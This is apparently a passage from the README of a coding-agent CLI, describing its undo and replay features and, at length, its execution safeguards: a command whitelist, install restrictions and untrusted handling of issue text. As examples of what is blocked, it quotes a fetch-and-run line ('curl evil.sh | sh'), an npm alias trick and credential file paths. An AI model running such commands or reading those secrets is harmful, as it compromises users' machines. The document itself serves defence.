⚠️ This is a declaration, not a guarantee. A coding agent does not know which files it will write until it writes them, so --lease protects exactly the paths you name. Making coverage automatic means calling acquire() inside the executor's write path — that work is not done, and pretending otherwise would be worse than the gap.

⚠️ Two defaults moved and this table was wrong about both for a while: --max-rounds was documented as 3 and --max-tokens as 8000. The numbers above are the exported constants, and test/docs-truth.test.mjs now fails the suite if the README and the code disagree again. acuvo --help prints the same values from the same constants — trust either.

Undo — acuvo rewind

Verified end to end on a real run, 2026-08-14:

$ acuvo "add a multiply function to math.mjs, write a README, and delete stale.txt"
  ✎ replaced math.mjs   ✎ created README.md   ✂ deleted stale.txt
  · checkpoint 20260814-084541-84u8 — 3 files can be put back: acuvo rewind 20260814-084541-84u8

$ acuvo rewind 20260814-084541-84u8
  ✔ restored math.mjs
  ✔ restored stale.txt
  ✔ deleted README.md — the agent created it
  2 restored · 1 deleted

Every mutation goes through two functions (writeFile and deleteFile in lib/workspace.mjs), so the previous bytes are copied at the moment they still exist — one read of a file that is about to be overwritten anyway. Blobs are content-addressed: three writes to one file store two blobs when two of them left it the same. Nothing is created until a run mutates something, and --dry-run records nothing at all.

⚠️ rewind <id> means "put the files back the way they were before that run started", so it covers that run and everything after it. Undoing an older run while a newer one sits on top would produce a state no moment in time ever had, which is not a checkpoint.

⚠️ It refuses any file you changed yourself after the run — the sha256 of what the agent left is recorded, and a file that is no longer that is skipped by name with the reason. --force overrides. Nothing restored because everything conflicted exits 3, not 0.

⚠️ The agent cannot edit its own undo history. .acuvo/ is hard-refused on the executor's write path (agentWriteRefusal, lib/workspace.mjs) — reads are untouched, so it can still explain what it did.

Runs are saved, and every run leaves a record

Verified by running it, 2026-08-10:

| flag | what it does | |---|---| | --sessions | List the runs saved in this workspace, newest first, and exit. Needs no API key. | | --resume <id> | Carry on from a saved run. Add an instruction to steer it: --resume <id> "now add tests". | | --continue | The same, on the most recent resumable run. | | --no-session | Do not save this run. | | --no-audit | Do not append this run to the audit log. | | --replay <id> | Step through a saved run: every round, call, result and refusal. Runs nothing and writes nothing. | | --replay <id> --only <what> | Narrow it: refusals, writes, runs, effects, reasoning. A filtered call brings its result with it. | | --replay <a> --diff <b> | Compare two runs and name the step where they split. |

--replay is how you answer "what did it actually do on Tuesday" after the terminal has closed. Real output, from a run made while writing this:

run 20260811-034506-nr33 · 2 rounds · verified
⚠ REPLAY — nothing here was re-run. Every line below is what happened then.
── round 1 ─────────────────────────────────────────────
  → call   write_file  path="slug.mjs"  content="export function slugify(s) {…"… (144 chars)
  ✔ result  created slug.mjs (144 bytes)
── round 2 ─────────────────────────────────────────────
  → call   run_command  command="node --test slug.test.mjs"
  ✔ passed  exit code: 0 (0.4s) — PASSED
  counts   3 calls · 0 refused · 2 writes · 1 runs

⚠️ It re-runs nothing — same invariant --resume holds, and for the same reason: a replay that re-executed would be a command run twice by someone who typed it once. The JSON form says so in a field (executed: false) rather than only in prose.

A finished run writes two things into the workspace: .acuvo/sessions/<id>.json, so a follow-up rebuilds the conversation instead of re-paying for the whole gather, and one line of .acuvo/audit/<date>.jsonl — what was asked, what changed, what verified, what it cost. Measured: the second turn of a resumed task cost 11,516 tokens against the first turn's 17,312.

The audit line carries no file contents, no command output and no model prose, and it is run through a redactor first (redact, lib/audit.mjs) — an API key pasted into your task text comes out as [redacted:api-key]. --dry-run writes neither file, because a dry run that creates two files has broken its own promise.


Three things it does that a coding agent usually cannot

Fix a GitHub issue

acuvo --issue 42

Reads the issue, creates fix/42-<slug>, finds the cause, fixes it, runs the tests.

It stops there. No push, no pull request — it prints the exact git push and gh pr create for you to run. An agent that opens a PR because it believed it was finished is an agent that embarrasses you in front of your team. If you already use gh, it reuses that login.

⚠️ The issue body is treated as untrusted input. Anyone can open an issue on a public repo, so it is quoted to the model as a report to investigate, never as instructions to follow.

Several tasks at once

acuvo --parallel "add tests for the parser" "write the README" --concurrency 3

The interesting part is not the speed, it is the collision. Two agents in one workspace will eventually write the same file, and whoever finishes second wins — silently. Acuvo records what each task wrote, names any file written by more than one of them, and exits 1 so acuvo --parallel … && git commit refuses to proceed.

It does not try to merge them. Two model-authored versions of a file cannot be reconciled without you.

Work you can script

acuvo --json "add a health check" | jq '.verification.passed'

One object on stdout, every human line on stderr. ran and passed are separate fields, because a test suite that executed and failed is not the same as one that never ran.


Not just code

If the services are configured, the tools it can reach include see_page, make_document, transcribe and speak. The combinations are the point:

acuvo "make me a one-page invoice for Acme Ltd, 3 line items, and give me it as a PDF"

→ writes the HTML, looks at it, converts it. A real PDF, no coding involved.

acuvo "transcribe standup.m4a and turn the decisions into a checklist"

What it can execute — read this before trusting it

Four programs, and nothing else: node, npm, npx, tsc.

Concretely: node <file>, node --test <file-or-dir>, npm test, npm run <script>, npx vitest run, tsc --noEmit.

There is no shell. Pipes, &&, ;, redirection, quotes, backticks and $() are refused by a character whitelist, so npm test && curl evil.sh | sh dies at the & rather than at a blacklist of program names somebody has to maintain. rm, curl, git and every other binary are simply unreachable.

Arguments are checked too — node --eval is refused (code that never touches disk cannot be reviewed afterwards), and every non-flag token must resolve inside your workspace.

npm test runs whatever package.json says, and the agent can write package.json — so the script body is validated before npm is spawned, along with its pre/post hooks.

The child process gets a scrubbed environment: conventionally-named secrets are stripped, so a generated script cannot read your API keys and post them somewhere.

Other languages: presets, off by default

Those four are the default, not the ceiling, and this README used to stop at "four programs" as though they were. A project can enable one of six vetted presets — each a build/test driver for code already on disk:

| preset | what it adds | |---|---| | python | python, python3, pytest | | go | go | | rust | cargo | | ruby | ruby, rspec, bundle | | make | make | | node-bin | eslint, prettier, jest |

// .acuvo/commands.json
{ "presets": ["python"] }

Then python -m pytest is accepted; without it the refusal names the preset that would allow it rather than just saying no. acuvo --doctor prints the enabled set — live programs it may run node, npm, npx, tsc · no presets enabled on a fresh workspace.

⚠️ The workspace file may name presets and nothing else, and that boundary is the whole design. .acuvo/commands.json lives in the workspace, and the agent can write to the workspace — so a file there choosing an arbitrary binary would be the agent granting itself a program. Every preset is a menu item vetted in lib/command.mjs; picking one buys a second interpreter for code the agent could already execute with node. A program of your own choosing can only be named in ACUVO_ALLOW_COMMANDS, in the environment that launches the CLI, which the agent has no verb that reaches. A shell (bash, sh, cmd, powershell, env, xargs, …) is refused at every layer including that one.

Adding a dependency — ACUVO_ALLOW_INSTALL=1, off by default

"Add zod validation to this endpoint" used to dead-end: the agent wrote the import and had no verb that could ever make it resolve. npm install is now available, and only when the operator sets ACUVO_ALLOW_INSTALL=1 in the environment that launches the CLI.

⚠️ It is deliberately not a preset. A preset can be enabled by a file inside the workspace, and the sentence above — "picking one buys a second interpreter for code the agent could already execute" — has to stay true. An install is not an interpreter, it is a downloader: it runs code that arrived from a stranger seconds ago and that nobody has read. So it uses the same door as ACUVO_ALLOW_PUSH, the only other verb whose blast radius leaves your machine.

When it is on, the narrowing is the point:

  • --ignore-scripts is forced, derived from the argv at spawn time, so no caller can forget it and no flag or .npmrc can switch it back on. Install hooks are how essentially every npm supply-chain worm has propagated. ⚠️ The cost is real and named: packages that compile a native addon or download a binary at install time (esbuild, sharp, better-sqlite3, puppeteer) will land on disk and fail at require time. The tool result says so on every install, so the agent can tell you rather than flail.
  • Registry names only — no URL, git, file:, GitHub user/repo, or npm: alias. The alias is the nasty one: zod@npm:evil-package leaves package.json reading zod.
  • A version, not a range. zod, [email protected], zod@^4.1.0, zod@latest. Not zod@*.
  • At most four packages per call, and npm ci may name none (it installs exactly what the lockfile already records).
  • The change is saved. --no-save and --no-package-lock are refused — an install nobody can see in a diff is worse than no install. The result reports the exact line npm wrote into package.json.
  • A workspace .npmrc that redirects registry=, sets ignore-scripts=false, or names a script-shell refuses the install. That file is inside the workspace and the agent can write it, so without this check every rule above would be decorative.
  • npm exec and npm publish have no switch at all, and an install can never be a background process.

⚠️⚠️ What none of this solves, stated plainly: a package name chosen by a language model is not safe. zod and zodd are both well-formed names, and the Shai-Hulud npm worm shipped payloads inside AI coding-agent config files precisely because agents install what they are told to install. No regex separates a typosquat from the real thing. What forced --ignore-scripts buys is that a typosquat which lands has not executed — it is code in node_modules that runs only if the agent's own code imports it, which is the same risk class as node <file the model wrote> rather than the strictly worse "arbitrary code ran during a command that looked like housekeeping".

⚠️ There is a second execution path, and this section used to omit it

evaluate (lib/evaluate.mjs) runs a JavaScript snippet the model wrote. It exists because the model kept reaching for node -e "…", which dies on the quote whitelist above and burns a round — so it was given the thing instead of another sentence telling it not to.

It does not go through the command whitelist at all. It writes the snippet to .acuvo-eval-<pid>-<ts>.mjs at the workspace root and spawns node <that file> directly, so ALLOWED_BINARIES, the argument grammar and the npm script-body validation described above do not apply to it. Omitting that from this section was the omission worth naming: the paragraph claimed four programs and nothing else, and there was a fifth door.

What does apply, verified in the source:

  • --no-run removes it. evaluate is only offered when running is allowed (lib/tools.mjs), so the flag documented as "never execute anything" is honest about it.
  • --dry-run refuses it before anything is staged (evaluateSnippet).
  • The same workspace path rules, the same bounded spawn, the same scrubbed environment as run_command.
  • 4,000 characters maximum (MAX_SNIPPET_CHARS) — longer than that is a program, and programs get written properly.
  • The file is removed in a finally, including on timeout, and the snippet is echoed back in the result, which is what keeps the node --eval audit objection satisfied.

The honest summary: evaluate cannot do anything write_file + run_command could not already do in two calls, which is the right test for any new capability. But it is a code execution path, and a security section that lists execution paths has to list it.

And a third: run_program

run_program (lib/spawn-argv.mjs) starts a process too, so by the same rule it belongs in this list. It exists because the paragraph above is not only a security boundary, it is also a capability ceiling: a string runner cannot tell node app.js add "buy milk" from a model composing a second command, so it refuses the quote — and the agent could not execute the flags and arguments it had itself just written. Measured in three probe runs; two of them shipped a README describing output that had never been produced.

What applies to it, verified in the source:

  • The same four programs. ALLOWED_BINARIES is imported from lib/command.mjs, not re-declared. Every node flag before the script path is checked by asking validateCommand about that one token, so --eval, --require, --import, --env-file, --inspect and --watch stay closed with command.mjs's own refusal sentence. There is one authority and no second copy to drift.
  • It is a strict subset, never a widening. .acuvo/commands.json may only add presets, so the four fixed binaries here can never exceed what run_command would allow on the same machine. The asymmetry runs the other way: if you enabled the python preset, that reaches you through run_command only.
  • No shell, ever. spawn with shell: false and an argv array. A quote, a space, a --flag, a ; or a > is data in an argv slot — there is no parser left to reinterpret it, which is why widening the character whitelist was the wrong fix.
  • --no-run withholds it and --dry-run refuses it, both at the offer and at the dispatcher, because a model can call a tool it was never shown.
  • The same bounded spawn, output cap and scrubbed environment — plus it deletes two variables run_command does not: NODE_OPTIONS (the flag allowlist's back door, read by node before argv) and NODE_TEST_CONTEXT (which makes a nested node --test return exit 0 and empty output — a silent green).
  • No detached spawning, and no process-group kill. The child is SIGKILLed on timeout and a grandchild it spawned can outlive it. Stated rather than papered over.

⚠️ What this is not

It is not a sandbox, and calling it one would be dishonest. node src/thing.js, where a language model wrote src/thing.js thirty seconds ago, is arbitrary code execution — unavoidably, because running the code is the entire point of a fix loop.

The real boundary: the agent cannot compose a command, cannot pick a program, cannot pass arguments outside your workspace, and cannot see your credentials in its environment. The code it runs can still do anything Node can do. The mitigation is that the code is on disk, written by tools that could not leave the workspace, and shown to you before it runs.

⚠️ Those three words matter and were missing. The scrub is a denylist over environment variable names (SECRET_NAME, lib/command.mjs). It does not reach the filesystem: a generated script can still read ~/.aws/credentials, ~/.ssh/id_rsa and ~/.config/gh/hosts.yml, and a variable named MY_DB_STRING survives the pattern. The source says so about itself; this sentence used to round it up to "cannot see your credentials", full stop.

Use --dry-run for a task you do not trust yet, or --no-run to let it write without executing. Both now also block the MCP spawn described below — verified by running a workspace containing a hostile .mcp.json under each flag.


The rest of the verbs

The registry holds 77 tools (TOOL_SCHEMAS, lib/tools.mjs — count it yourself, and acuvo --doctor prints which of them would be offered on your machine). The obvious ones are above; the rest reach the model in any multi-round run (--max-rounds above 1, which is the default). You never name them — the model picks. They are listed because a capability only the changelog knows about is unreachable in the way that matters.

| tool | what it does | when it is offered | |---|---|---| | run_program | Run node / npm / npx / tsc with a real argument array instead of a string. run_command has to guess whether a quote is you passing a value or the model composing a second command, so it refuses the character — which means node bin/todo.js add "buy milk", node bin/todo.js list --all and node --test "test/*.test.mjs" were all unrunnable. Here each array item is exactly one argv slot, there is no shell and nothing re-parses it. | withheld by --no-run and by --dry-run, like every other way of starting a process | | read_lines · read_around | Windowed reads of a large file. read_file truncates the middle of a big file and gives the model nothing to act on; these truncate the end and hand back a nextOffset to continue from. read_around returns byte-exact text with real indentation, which is the only safe source for an edit_file old_string. | always | | list_engines | What a creative engine costs, before you spend one finding out. Lists the Acuvo image/video/voice/face engines, whether each is on your plan, and the credit cost per image or clip. ⚠️ This package holds no price list — it asks your account's gateway and caches the answer under ~/.acuvo/, because a price compiled into an npm package is the price that shipped the day you installed it, and a price in node_modules is one the person being billed can edit. With no answer it prints prices unavailable rather than a plausible number. | multi-round runs; needs no key of any kind | | fetch_url | Fetch a public page as text. GET only, no headers, private and loopback addresses refused, 10 fetches per run. | always | | pipe_to_asset | Generate the asset and write the code that uses it, in one call. It drops the image at the path you name and replaces a unique marker in a source file with the reference to it. The reason it exists is that generate_image returns .png or .jpg depending on which engine answered, so a reference written before the render is a guess that is wrong every time the free fallback serves you — and the page then loads nothing, silently. The reference defaults to a path relative to th